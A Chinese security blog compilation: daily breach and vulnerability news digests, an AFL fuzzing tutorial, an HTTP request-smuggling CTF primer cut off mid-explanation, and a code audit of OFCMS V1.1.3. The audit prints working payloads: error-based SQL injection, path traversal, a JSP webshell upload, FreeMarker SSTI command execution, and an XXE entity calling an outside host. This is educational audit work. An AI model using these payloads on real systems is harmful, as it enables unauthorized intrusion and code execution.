网络安全日报 2022年06月01日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、白俄罗斯政府网站遭到匿名者黑客组织攻击
https://www.infosecurity-magazine.com/news/anonymous-claims-attacks-against/ 2、微软发布了针对Office零日漏洞的缓解措施
https://www.infosecurity-magazine.com/news/turkish-airline-exposes-flight/ 3、澳大利亚养老金提供商Spirit Super数据泄露
https://portswigger.net/daily-swig/data-breach-at-australian-pension-provider-spirit-super-impacts-50k-victims-following-phishing-attack 4、土耳其飞马航空公司泄漏了6.5TB数据,包括航班和机组人员信息
https://www.infosecurity-magazine.com/news/turkish-airline-exposes-flight/ 5、微软发现Android 预装应用受高危漏洞影响
https://www.bleepingcomputer.com/news/security/microsoft-finds-severe-bugs-in-android-apps-from-large-mobile-providers/ 6、FluBot 移动恶意软件席卷欧洲,安卓苹果都不放过
https://www.bitdefender.com/blog/labs/new-flubot-campaign-sweeps-through-europe-targeting-android-and-ios-users-alike/ 7、CISA 发布 5G 安全评估流程计划
https://www.infosecurity-magazine.com/news/cisa-5g-security-evaluation-process/ 8、EnemyBot 恶意软件增加了关键 VMware、F5 BIG-IP 漏洞的攻击
https://www.bleepingcomputer.com/news/security/enemybot-malware-adds-exploits-for-critical-vmware-f5-big-ip-flaws/ 9、SideWinder APT组织在过去 2 年发起了超过 1,000 次网络攻击
https://thehackernews.com/2022/05/sidewinder-hackers-launched-over-1000.html 10、澳大利亚电子驾照可在几分钟内被破解
https://www.theregister.com/2022/05/30/nsw_digital_drivers_licenses_hackable/
网络安全日报 2022年05月31日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、一个新的 WhatsApp OTP 骗局可能允许劫持用户的帐户
https://securityaffairs.co/wordpress/131807/hacking/whatsapp-otp-scam.html 2、多个Microsoft Office版本存在远程命令执行漏洞
https://securityaffairs.co/wordpress/131800/hacking/multiple-microsoft-office-versions-zero-day.html 3、EnemyBot新增CMS和Android设备漏洞利用
https://securityaffairs.co/wordpress/131783/malware/enemybot-botnet-new-exploits.html 4、Clop勒索软件卷土重来,4月添加了21名新受害者
https://www.bleepingcomputer.com/news/security/clop-ransomware-gang-is-back-hits-21-victims-in-a-single-month/ 5、加拿大卡尔加里城市项目协会证实遭到数据泄露
https://globalnews.ca/news/8872996/calgary-charity-data-breach/ 6、淘宝宣布禁止销售修改/代理/伪造IP的软件与服务
https://www.cnbeta.com/articles/tech/1274789.htm 7、咚动、自如、康珂诺等12款移动App违法被通报,隐私不合规
https://www.cnaac.org.cn/newShowData.html?id=258 8、FBI 发出警告称黑客正出售美国大学的网络凭证
https://www.bleepingcomputer.com/news/security/fbi-warns-of-hackers-selling-credentials-for-us-college-networks/ 9、曝通用汽车受黑客攻击,用户信息遭泄露
https://www.pcauto.com.cn/news/3081/30810284.html 10、谷歌、苹果等科技公司喜欢谈论隐私,但同时试图扼杀隐私立法
https://www.theregister.com/2022/05/27/big_tech_privacy/
网络安全日报 2022年05月30日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、 VMware高危漏洞CVE-2022-22972 PoC已公开
https://www.securityweek.com/exploitation-vmware-vulnerability-imminent-following-release-poc 2、GitHub:近10万名 NPM 用户的凭据在 4 月的 OAuth 令牌攻击中被盗
https://securityaffairs.co/wordpress/131733/hacking/100k-npm-credential-github-oauth-breach.html 3、研究人员设计了一种名为GhostTouch的技术:使用电磁干扰攻击触摸屏
https://securityaffairs.co/wordpress/131714/hacking/ghosttouch-touchscreens-attack.html 4、ERMAC Android 银行木马2.0针对 400 多个应用程序
https://securityaffairs.co/wordpress/131705/malware/ermac-2-0-android-banking-trojan.html 5、Cheerscrypt 勒索软件针对 VMware ESXi 服务器
https://cyware.com/news/cheerscrypt-ransomware-targets-vmware-esxi-servers-d5f3f79a 6、黑客通过远程访问窃取了数百名 Verizon 员工的数据库
https://www.vice.com/en/article/wxdwxn/hacker-steals-database-of-hundreds-of-verizon-employees 7、加拿大医疗服务提供商SHN遭黑客入侵数据泄露
https://portswigger.net/daily-swig/canadian-healthcare-provider-issues-data-breach-warning-after-server-hack 8、维护人员修复Guzzle的跨域cookie泄漏漏洞
https://portswigger.net/daily-swig/patch-released-for-cross-domain-cookie-leakage-flaw-in-guzzle 9、基于WSL的恶意软件窃取浏览器验证cookie
https://www.bleepingcomputer.com/news/security/new-windows-subsystem-for-linux-malware-steals-browser-auth-cookies/ 10、研究人员发现谷歌Chrome中存在RCE漏洞
https://thehackernews.com/2022/05/experts-detail-new-rce-vulnerability.html
网络安全日报 2022年05月27日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、 QCT 服务器受"Pantsdown" BMC漏洞的影响
https://www.securityweek.com/qct-servers-affected-pantsdown-bmc-vulnerability 2、芯片巨头博通610亿美元收购VMware
https://www.securityweek.com/vmware-absorb-broadcom-security-solutions-following-61-billion-deal 3、Open Automation Software平台中发现多个严重漏洞
https://www.securityweek.com/critical-vulnerabilities-found-open-automation-software-platform 4、Twitter 因用户数据隐私被罚款 1.5 亿美元
https://www.securityweek.com/twitter-pay-150m-penalty-over-privacy-users-data 5、Zyxel 解决了影响 AP、AP 控制器和防火墙的多个漏洞
https://securityaffairs.co/wordpress/131691/security/zyxel-flaws.html 6、新的 ChromeLoader 恶意软件激增威胁全球浏览器
https://www.bleepingcomputer.com/news/security/new-chromeloader-malware-surge-threatens-browsers-worldwide/ 7、基于Linux的勒索软件Cheerscrypt针对ESXi设备
https://www.trendmicro.com/en_us/research/22/e/new-linux-based-ransomware-cheerscrypt-targets-exsi-devices.html 8、印度SpiceJet航空公司遭勒索软件攻击航班延误
https://www.bleepingcomputer.com/news/security/spicejet-airline-passengers-stranded-after-ransomware-attack/ 9、伦敦港管理局网站遭到黑客攻击导致被迫关闭
https://www.hackread.com/pro-iran-altahrea-hit-port-of-london-website-ddos-attack/ 10、配置错误的服务器泄露了上千万俄罗斯和乌克兰人的数据
https://www.hackread.com/personal-data-russians-ukrainians-exposed-online/
某内容管理系统最最最详细的代码审计
前言
刚好遇到一个授权的渗透是通过该cms实现getshell,所以顺便审计一下java类的cms,这个管理系统是一个内容管理系统,下载地址
https://gitee.com/oufu/ofcms/tree/V1.1.3/ tomcat下载地址
https://dlcdn.apache.org/tomcat/tomcat-8/v8.5.78/bin/apache-tomcat-8.5.78-windows-x64.zip 这里我选择8.5.78
环境搭建
idea
ofcms V1.1.3
tomcat 8.5
idea直接创建新建项目,自动导入xml文件,配置启动服务器
导入sql文件
mysql -uroot -pxxxxxxx
use ofcms
source /路径.ofcms-v1.1.3.sql
show tables;
这里需要注意一点儿,源码确实,无法打包war'包,解决不掉artifacts的问题
配置端口
启动tomgcat的时候会乱码,修改tomcat的配置文件tomcat->config->logging.properties
更改所有utf8的格式为GBK
配置maven,整一个恶心的想吐
<mirror>
<id>alimaven</id>
<mirrorOf>central</mirrorOf>
<name>aliyun maven</name>
<url>http://maven.aliyun.com/nexus/content/repositories/central/</url>
</mirror>
重建项目
启动服务,但是之前需要修改配置文件中的数据库的连接的字段用户名和密码,这里会报错,所以修改配置文件直接创建完成了数据库在上面导入数据库的时候跳过安装步骤。
首页地址: localhost:8099/ofcms_admin
后台地址:localhost:8099/ofcms_admin/admin/login.html
admin/123456
审计分析
SQL注入
文件结构目录
因为已知漏洞都存在于后台,直接审计后台文件,首先定位到控制层代码,
因为已经不通通过安装启动web服务,这里不需要分析安装控制层,看首页
出于对代码的尊重,跟了一波增加sql语句的处理,但是存在sql注入的过滤器,
直接触发增加用户接口
其实可以直接看出来,在第50行的时候已经使用put方法增加了管理员用户,然后new了一个对象record存放存入的其它参数的数据,再往下的时候根据record的值判断用户的类型,向下56行F7跟进,一直跟到类sqlpara的setsql方法进行插入
在这里的时候插入的是创建时的创建时间等字段,并没插入我们传入的详细信息,但是在类sysusercontroller中的57行中十对创建的用户sss创建id编号,此时用户以及数据的插入时在58行执行结束时完成,已经写进了数据库。
但是这里没有测试存在注入点儿,注入点存在于代码生成->新增
手动测试有回显sql=1'
猜测可能存在报错注入,构造payload
update of_cms_api set api_name=updatexml(1,concat(0x7e,(user())),0) where api_id=2
\ofsoft\cms\admin\controller\system\SystemGenerateController.java下断点分析
47行,F7跟进
返回的sql参数的内容未作任何过滤,48行F7跟进
98行跟进update方法
256行直接连接数据库进行更新,最后抛出异常,报错回显出数据库用户名root
存储型XSS
分析代码,
所以这里出现存储型XSS的地方不止这一个触点儿,包括前台,Ueditor编辑器的原因。
任意文件读取
查看文件模板,模板文件连接如下
http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?file_name=contact.html&dir=/&dir_name=/
可控参数dir,payload如下
http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?file_name=contact.html&dir=../../../&dir_name=/
控制字段file_name读取文件
http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?file_name=jquery-1.10.1.min.js&dir=../../..//resource/default/static/lib&dir_name=/lib
漏洞分析
查看模板文件的时候,传入的dir参数以及updir的参数都为空
这里是对路径文件类型做判断,读取模板文件,所这里任意文件读取也只是针对任意模板文件读取,读取文件名的控制参数数为filename
根据debug分析,当传入的payload为
http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?dir=../
测试根据断点看出,我们传入的参数dir为../
在65行的时候未对传入的参数dir做过滤,这个时候已经拿到了模板目录
读取通过循环遍历使用文件名读取
在调试的时候发现,我们访问目录。这里访问comn
在控制层TemplateController内调用函数getSiteTemplatePath()
F7跟进,在类file.java中对路径进行了直接拼接
所以只要调用file函数拼接的参数也必定会产生"任意"文件读取。那么所能使用的payload如下
?dir=../
?up_dir=../
#含文件名
?file_name=page.html&up_dir=../comn
?file_name=page.html&dir=../comn
文件上传实现webshell
刚好该类这里又save方法调用了上面的函数,所以我们可以保证我们上传文件的路径是可控的
尝试构造数据包
此时已经成功保存,但是通过文件读取是读不到文件的,实际上已经写进去了,因为在读取文件的时候限制了读取的文件类型,可以尝试保存一个html
验证是可以写入的,那么直接写入jsp木马实现webshell
最后一个断点执行结束,此时shell已成功写入
http://localhost:8099/ofcms_admin/static/1.jsp
SSTI模板注入
同样在save模板的时候我们分析,在125行的时候传入file文件以及文件内容
f7跟进函数,发现在类fileutils中的,writestring方法中在78行的时候拿到的string还是我们在前端输入的内容
继续F7跟进函数
这里直接对string进行了编码
payload
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
访问
http://localhost:8099/ofcms_admin/about.html
所以这里漏洞的触发点也很多,html页面都可以,当然也可以利用上面的文件上传进行写入页面调用也可以触发。漏洞的触发原理可参考这个文章
http://t.zoukankan.com/Eleven-Liu-p-12747908.html 很清晰
XXE漏洞
直接分析漏洞代码下断点
ofcms-V1.1.3\ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\ReprotAction.java
前端功能模块导出
定位到控制器处理方法,在 com.ofsoft.cms.admin.controller.ReprotAction类的 expReport 方法中。
使用上文的任意文件读取,在静态页面下放入我们写入的jrxml文件,文件命名为xxe.jrxml,构造payload
POST /ofcms_admin/admin/cms/template/save.json HTTP/1.1
Host: localhost:8099
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 394
Origin: http://localhost:8099
Connection: close
Referer: http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html
Cookie: JSESSIONID=FCF2920F5C1C3ECAC592420888B66674; Phpstorm-63ee32fd=c3d51684-64a8-4398-bce8-86b8077fb103; XDEBUG_SESSION=XDEBUG_ECLIPSE
file_path=G%3A%5Cofcms113%5Capache-tomcat-8.5.78%5Cwebapps%5Cofcms_admin%5CWEB-INF%5Cpage%5Cdefault%5Cindex.html&dirs=%2F&res_path=&file_name=index.html&file_content=%3c%21%44%4f%43%54%59%50%45%20%70%6f%65%6d%20%5b%3c%21%45%4e%54%49%54%59%20%25%20%78%78%65%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2
文件内容的payload
<!DOCTYPE poem [<!ENTITY % xxe SYSTEM "http://192.168.166.128:8081">%xxe; ]>
直接访问
http://localhost:8099/ofcms_admin/admin/reprot/expReport.html?%20j=../../static/xxe
漏洞成因是调用了 getParamsMap 方法,获取用户提交的所有参数,并将 j 参数赋值给 jrxmlFileName ,服务器接收用户输入的 j 参数后,拼接生成文件路径,可直接穿越其它目录,但是限制了文件后缀为 jrxml,所以文件名命名为jrxml
先调用getParamsMap 方法
而后调用JasperCompileManager.compileReport() 方法
F7跟进,在 compile方法中调用 JRXmlLoader.load() 方法,F7跟进,在 loadXML 方法中调用了 Digester 类的 parse 解析我们的 XML 文档对象,默认是没有禁用外部实体解析,所以xxe文件能执行。
总结
抛开白盒审计不说,sql注入实现比较简单,黑盒状态下也可知道用户名实现,跨站类可以通过js类的实现对用户的上线,高危的文件读取和webshell以及xxe,总的来说都是在文件读取目录遍历的基础上实现的,否则对于二次开发的网站抛开任意文件读取这个漏洞来说是无法实现webshell的。
网络安全日报 2022年05月26日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、 Chrome 发布102 版本,修复了 32 个漏洞
https://www.securityweek.com/chrome-102-patches-32-vulnerabilities 2、Google Project Zero披露了 Zoom 零点击远程代码执行漏洞详情
https://www.securityweek.com/google-discloses-details-zoom-zero-click-remote-code-execution-exploit 3、 SilverTerrier 网络犯罪集团头目在尼日利亚被捕
https://securityaffairs.co/wordpress/131659/cyber-crime/silverterrier-leader-arrested.html 4、华盛顿大学医学院通知患者数据泄露
https://www.beckershospitalreview.com/cybersecurity/washington-university-school-of-medicine-notifies-patients-of-data-breach-2.html 5、BPFDoor 恶意软件利用 Solaris 漏洞获取 root 权限
https://www.bleepingcomputer.com/news/security/bpfdoor-malware-uses-solaris-vulnerability-to-get-root-privileges/ 6、Telegram上泄露了 1.42 亿条米高梅客户记录,影响大约 3000 万人
https://www.hackread.com/142-million-mgm-resorts-records-leak-telegram-download/ 7、严重的Argo CD漏洞可能允许攻击者获得管理员权限
https://portswigger.net/daily-swig/critical-argo-cd-vulnerability-could-allow-attackers-admin-privileges 8、国际刑警组织:国家网络武器将很快在暗网上出现
https://www.secrss.com/articles/42740 9、美国德克萨斯州交通部遭黑客攻击导致员工信息泄露
https://www.databreaches.net/another-texas-state-agency-data-breach-this-time-its-the-department-of-transportation/ 10、CISA 在其已知被利用漏洞目录中增加了 41 个漏洞
https://securityaffairs.co/wordpress/131646/security/known-exploited-vulnerabilities-catalog-flaws-2.html
网络安全日报 2022年05月25日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、被广泛使用的"Ctx"Python 包遭入侵被替换为恶意版本
https://www.securityweek.com/pypi-served-malicious-version-popular-ctx-python-package 2、帐户预劫持攻击可以在用户注册之前劫持其账户
https://www.bleepingcomputer.com/news/security/hackers-can-hack-your-online-accounts-before-you-even-register-them/ 3、Mozilla 修复了在 Pwn2Own 上被利用的 Firefox零日漏洞
https://www.bleepingcomputer.com/news/security/mozilla-fixes-firefox-thunderbird-zero-days-exploited-at-pwn2own/ 4、Fronton僵尸网络被用于进行社交媒体虚假宣传活动
https://securityaffairs.co/wordpress/131574/cyber-warfare-2/fronton-botnet-disinformation.html 5、钓鱼邮件冒充沙特阿拉伯采购订单传播GuLoader
https://www.fortinet.com/blog/threat-research/spoofed-saudi-purchase-order-drops-guloader 6、美国通用汽车公司遭到凭证填充攻击暴露车主信息
https://www.bleepingcomputer.com/news/security/gm-credential-stuffing-attack-exposed-car-owners-personal-info/ 7、马克·扎克伯格因数据泄露事件被起诉
https://www.securityweek.com/dc-sues-zuckerberg-over-cambridge-analytica-privacy-breach 8、Turla APT以奥地利、爱沙尼亚和北约平台为目标
https://www.bleepingcomputer.com/news/security/russian-hackers-perform-reconnaissance-against-austria-estonia/ 9、RansomHouse 集团设立勒索市场,新增了第一批受害者
https://www.bleepingcomputer.com/news/security/new-ransomhouse-group-sets-up-extortion-market-adds-first-victims/ 10、委内瑞拉总统称该国一大型水电站系统遭黑客攻击
http://www.cankaoxiaoxi.com/world/20220524/2480275.shtml
AFL--模糊测试使用浅析
一、AFL简介
AFL(American Fuzzy Lop)是由安全研究员Micha Zalewski 开发的一款基于覆盖引导(Coverage-guided)的模糊测试工具,它通过记录输入样本的代码覆盖率,从而调整输入样本以提高覆盖率,增加发现漏洞的概率。
①从源码编译程序时进行插桩,以记录代码覆盖率(Code Coverage);
②选择一些输入文件,作为初始测试集加入输入队列(queue);
③将队列中的文件按一定的策略进行“突变”;
④如果经过变异文件更新了覆盖范围,则将其保留添加到队列中;
⑤上述过程会一直循环进行,期间触发了crash的文件会被记录下来。
二、AFL安装、测试
1.安装AFL
下载源码
Make
llvm_mode安装
之后输入以下命令进行安装
2.AFL测试
下载一个有缺陷的c文件
使用 afl-gcc/afl-clang 编译
生成一些种子语料库
开始fuzz
提示修改/proc/sys/kernel/core_pattern
再次运行之前的代码可看到fuzz进度
现在就表示我们的ACL已经安装成功了,注意出现(odd,check syntax!)是表示样例根本没有进入到测试中去,需要调整语料库。
Ctrl+C打断可以在out文件里看见我们的测试信息
3.并行fuzz测试
每个afl-fuzz进程占用CPU的一个核,实际上如果是多核的主机,AFL就可以并行工作
首先先看自己有多少内核
以上可以看出有四个内核意味着可以同时运行4个实例
首先指定主实例 -M 用于主实例,将 -S 添加到所有从属实例。它们可以相互同步
主实例:afl-fuzz -M master -i in/ -o out/ -m none -- ./imgRead_afl @@
从实例:afl-fuzz -S slave1 -i in/ -o out/ -m none -- ./imgRead_afl @@
在之前的out文件夹会多出俩个不同的文件夹masterh和slave1
现在尝试假如我们一次性运行5个实例会怎么样
在运行第5个实例后报错,其他实例不受影响,也可以确定4个核在运行中
三、AFL模糊测试libjpeg-turbo
libjpeg是专门处理Jpeg解码、编码、转码的自由软件库。libjpeg-turbo是其fork版本,还有一个基于libjpeg-turbo的fork的版本是MozJpeg。
1.编译libjpeg-turbo
首先下载libjpeg-turbo
之后需要修改cmakelist.txt,进行插桩编译
在cmakelist.txt中,在cmake_minimum_required命令下添加编译器选项,在前面添加,免得被覆盖,进行插桩编译
之后在libjpeg-turbo文件夹下
mkdir build
cd build
cmake ..
make
sudo make install
安装好之后build的内容如下
之后利用程序的示例对是否成功安装libjpeg-turbo库进行测试
该函数有俩个参数 一个输入文件名,一个作为输出文件名
具体作用就是调用了turbojpeg.h这个库函数对输入的jpg图片进行压缩
因为修改了cmake中的编译器设置,应该库函数里已经是被插过桩的,所以在编译时是可以不用afl-gcc编译也可以进行检测
这样是可以生成可执行文件,也可以实现压缩图片的功能,这里也对之前的样例进行了修改,只接收一个变量,并且不对压缩文件进行保存
但在进行模糊测试时出现以下问题
没有插桩信息,无法进行测试
发现它是动态编译的,虽然应该其动态链接库是插过桩的。但最后已知没有实现。这里最后考虑是想通过链接静态库实现。也是在网上查询未果后,发现在根目录下输入 make test,可以调用他自己的样例进行测试,这其中就包括了静态链接的测试
在一个静态链接测试的项目下,查看其ling.txt,得到静态编译的方式
最后对自己的编译自己的样例
之后开始模糊测试
总共测试次数超过1亿次,开了4个并行
4个样例的的最开始输入都是不一样的,可以从路径速度和总量上看出明显的区别,确实libjpeg-turbo在更新2.0之后,其安全性能得到了极大的提升,没有收到一个报错信息。
2.内存错误检查工具
这里有很多的内存检查工具,这里举个大概,只大概研究ASAN (-fsanitize=address)的使用和与AFL测试的结合
这里测试了几个漏洞文件以此来明晰ASAN的作用
编译文件模板如下
g++ -fsanitize=address -fno-omit-frame-pointer -o t xxx.cpp
这里只对几种漏洞进行展示
use-after-fee
可以看到漏洞的名称和发生的内存地址
stack buffer overflow
还有很多其他类型的漏洞可以进行检测
https://www.jianshu.com/p/3a2df9b7c353
在AFL中启用ASAN的方式也比较简单
在make时加上AFL_USE_ASAN=1
注意之后编译文件时需要加上启用asan的参数,不然会报错
3.构造自己的字典
AFL自带自己的一个字典库,主要用于各种变异操作的
如下是AFL的jpeg的字典
为了符合jpeg图片的实际,需要分析在jpeg中出现次数多且固定的字符
这里挑选一些频率较高的字符加入字典
这里挑选的字符主要来源自各种jpeg的开头部分
之后如果要使用字典需要使用-x参数进行指定字典文件
https://paper.seebug.org/496/#dictionary
4.语料库蒸馏
afl-cmin的核心思想是:尝试找到与语料库全集具有相同覆盖范围的最小子集。 举个例子,假设有多个文件,都覆盖了相同的代码,那么就丢掉多余的文件。
最后只留下一个文件
afl-tmin(减小单个输入文件的大小)
afl-tmin有两种工作模式,
instrumented mode和crash mode。默认的工作方式是instrumented mode
后面查资料得到tmin只能处理文件,文件夹需要修改脚本
精简到0bytes,后面在网上看到了相似的例子,这和tmin的精简策略有关,确实存在这种情况。
如果加上了参数-x,就会调用crash mode模式,会把导致程序非正常退出的文件直接剔除。这里测试的样例并没有crash例子,所以不进行测试。
5.持久模式
在持久模式下,AFL 仅模糊部分程序,而不是整个程序。当只想模糊复杂软件中的特定功能时,这很有用。与分叉服务器模式相比,这提供了许多速度改进。
具体例子如下:
对想要进行的部分进行修改
此时修改的文件是turbojpeg.c
再修改cmakelist.txt如下
之后对库进行重新编译
编译方式
再进行afl-fuzz(与之前一致)
速度上确实比之前的速度要快,最快时比之前要快上俩倍多
6.Afl-cov使用
可以快速帮助我们调用lcov和gcov处理来自afl-fuzz测试用例的代码覆盖率结果
安装
GCOV,它随gcc一起发布,所以不需要再单独安装,和afl-gcc插桩编译的原理一样,gcc编译时生成插桩的程序,用于在执行时生成代码覆盖率信息
LCOV,它是GCOV的图形前端,可以收集多个源文件的gcov数据,并创建包含使用覆盖率信息注释的源代码HTML页面。
这里也可以使用apt-install afl-cov来安装,不过看网上建议这个版本实际使用上会有问题,所以这里还是直接下载源码
为了实现检查覆盖率需要修改cmakelist.txt如下
再次编译库
编译文件
这里的afl-cov选择实时监控 也就是添加--live,先启动afl-cov,后启动afl-fuzz,当afl-fuzz退出时,afl-cov就会跟着退出
启动afl-cov的命令
/home/user/Desktop/afl-cov/afl-cov -d afl-cc --live --enable-branch-coverage -c . -e "cat AFL_FILE | ./ttt AFL_FILE" --overwrite
-d是之后afl-fuzz的输出文件,-c是直向源码文件的,在编译.c文件后,会生成一个.gno文件,-c 后面跟该文件的目录
启动afl-fuzz(与之前一致)
Afl-fuzz退出后,afl-cov需要等一会才能正常退出,此时就可以看见生成分析的网页了
也可以针对已经生成的数据直接开启afl-cov,但要求编译已经加上了-fprofile-arcs -ftest-coverage
网页首页
也可以进入到文件里,查看具体语句的执行次数
7.afl_postprocess使用
它最主要的作用就是可以规定生成种子的格式
作者在github上的样例的作用是让每个测试用例开头的标头都是GIF89a
https://github.com/mirrorer/afl/blob/master/experimental/post_library/post_library.so.c
编译方法
gcc -shared -wall -O3 post_library.so.c -o post_library.so
可以看看afl-fuzz.c对该方法的支持
获取AFL_POST_LIBRARY环境变量的值,自动加载afl_postprocess函数
这里推荐使用export设定环境变量,需要说明的是export的环境变量只在当前的shell(BASH)或其子shell(BASH)下是有效的,shell关闭了,变量也就失效了,再打开新shell时就没有这个变量,需要使用的话还需要重新定义。如果需要一直使用,需要修改配置文件,方法推荐
https://blog.csdn.net/wx_it/article/details/118450790
加载后处理器库成功
也可以看到我们的测试样例变成了GIF格式,后处理库有效。
测试其他的例子
这部分需要注意的是对源码的处理,确保样例格式的满足输入的要求
参考资料
file:///C:/Users/antvsion/Desktop/AFL--%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E4%BD%BF%E7%94%A8%E6%B5%85%E6%9E%90.html#0https://paper.seebug.org/841/https://paper.seebug.org/842/ https://securitylab.github.com/research/fuzzing-challenges-solutions-1/ https://securitylab.github.com/research/fuzzing-sof
实验推荐
实验:Fuzz之AFL(蚁景网安实验室) https://www.yijinglab.com/expc.do?ce=7ffeb07e-680b-4490-8667-cf66b362635c>>
协议层安全相关《http请求走私与CTF利用》
0x00 前言
最近刷题的时候多次遇到HTTP请求走私相关的题目,但之前都没怎么接触到相关的知识点,只是在GKCTF2021--hackme中使用到了 CVE-2019-20372(Nginx<1.17.7 请求走私漏洞),具体讲就是通过nginx的走私漏洞访问到Weblogic Console的登录页面,然后打Weblogic历史漏洞读取flag。当时做那道题的时候对走私漏洞没有深入理解,今天打ISCC2022的时候又遇到了一道利用gunicorn<20.04请求走私漏洞绕waf的题目,因此好好学习一下还是很有必要的。
0x01 发展时间线
最早在2005年,由Chaim Linhart,Amit Klein,Ronen Heled和Steve Orrin共同完成了一篇关于HTTP Request Smuggling这一攻击方式的报告。通过对整个RFC文档的分析以及丰富的实例,证明了这一攻击方式的危害性。
https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf
在2016年的DEFCON 24 上,@regilero在他的议题——Hiding Wookiees in HTTP中对前面报告中的攻击方式进行了丰富和扩充。
https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Regilero-Hiding-Wookiees-In-Http.pdf
在2019年的BlackHat USA 2019上,PortSwigger的James Kettle在他的议题——HTTP Desync Attacks: Smashing into the Cell Next Door中针对当前的网络环境,展示了使用分块编码来进行攻击的攻击方式,扩展了攻击面,并且提出了完整的一套检测利用流程。
0x02 什么是请求走私
当今的web架构中,单纯的一对一客户端---服务端结构已经逐渐过时。为了更安全的处理客户端发来的请求,服务端会被分为两部分:前端服务器与后端服务器。前端服务器(例如代理服务器)负责安全控制,只有被允许的请求才能转发给后端服务器,而后端服务器无条件的相信前端服务器转发过来的全部请求,并对每一个请求都进行响应。但是在这个过程中要保证前端服务器与后端服务器的请求边界设定一致,如果前后端服务器对请求包处理出现差异,那么就可能导致攻击者通过发送一个精心构造的http请求包,绕过前端服务器的安全策略直接抵达后端服务器访问到原本禁止访问的服务或接口,这就是http请求走私。
听起来是不是有点像SSRF?不过SSRF与HTTP请求走私是有差别的,SSRF是直接利用内网机器来访问内网资源,但请求走私不是。用一张portswigger报告中经典的图来理解一下,有一种夹带私货的感觉,或许这就是被称为走私漏洞的原因吧:
0x03 漏洞成因与常见类型
http请求走私攻击比较特殊,它不像常规的web漏洞那样直观。它更多的是在复杂网络环境下,不同的服务器对RFC标准实现的方式不同,程度不同。因此,对同一个HTTP请求,不同的服务器可能会产生不同的处理结果,这样就产生了安全风险。
在学习之前我们先了解一下HTTP1.1中使用最为广泛的两种特性:Keep-Alive&Pipeline。
Keep-Alive&Pipeline
所谓Keep-Alive,就是在HTTP请求中增加一个特殊的请求头Connection: Keep-Alive,告诉服务器,接收完这次HTTP请求后,不要关闭TCP链接,后面对相同目标服务器的HTTP请求,重用这一个TCP链接,这样只需要进行一次TCP握手的过程,可以减少服务器的开销,节约资源,还能加快访问速度。当然,这个特性在HTTP1.1中是默认开启的。
有了Keep-Alive之后,后续就有了Pipeline,在这里呢,客户端可以像流水线一样发送自己的HTTP请求,而不需要等待服务器的响应,服务器那边接收到请求后,需要遵循先入先出机制,将请求和响应严格对应起来,再将响应发送给客户端。
如今,浏览器默认是不启用Pipeline的,但是一般的服务器都提供了对Pipleline的支持。
CL&TE
CL 和 TE 即是 Content-Length 和 Transfer-Encoding 请求头(严格来讲前者是个实体头,为了方便就都用请求头代指)。这里比较有趣的是 Transfer-Encoding(HTTP/2 中不再支持),指定用于传输请求主体的编码方式,可以用的值有 chunked/compress/deflate/gzip/identity ,完整的定义在 https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Transfer-Encoding#Directives 和 https://tools.ietf.org/
CL好理解,对于TE我们重点关注chunked。当我们设置TE为chunked时,CL就会被省略。为了区分chunk的边界,我们需要在每个chunk前面用16进制数来表示当前chunk的长度,后面加上\r\n,再后面就是chunk的内容,然后再用\r\n来代表chunk的结束。最后用长度为 0 的块表示终止块。终止块后是一个 trailer,由 0 或多个实体头组成,可以用来存放对数据的数字签名等。譬如下面这个例子:
POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
b //chunk_size
q=smuggling
6
hahaha
0 //end
[blank]
[blank]
另外要注意\r\n占2字节,我们在计算长度的时候很容易把它们忽略。最后把请求包以字节流形式表述出来就是:
